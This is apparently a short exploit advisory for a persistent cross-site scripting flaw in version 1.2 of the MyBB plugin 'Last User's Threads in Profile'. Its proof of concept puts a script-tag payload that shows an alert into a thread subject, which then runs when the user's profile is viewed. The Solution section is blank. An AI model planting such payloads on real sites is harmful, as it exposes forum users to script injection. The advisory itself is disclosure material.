MyBB Last User's Threads In Profile 1.2 Cross Site Scripting

MyBB Last User's Threads in Profile plugin version 1.2 suffers from a persistent cross site scripting vulnerability.

MD5 | cbdae62b2847d20bd49a397da80d5fd0

# Exploit Title: MyBB Last User's Threads in Profile Plugin v1.2 - Persistent XSS
# Date: 3/19/2018
# Author: 0xB9
# Contact: or 0xB9[at]
# Software Link:
# Version: v1.2
# Tested on: Ubuntu 17.10

1. Description:
Display last threads in user profile.

2. Proof of Concept:

Persistent XSS
- Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Now visit your profile to see the alert.

3. Solution:


Related Posts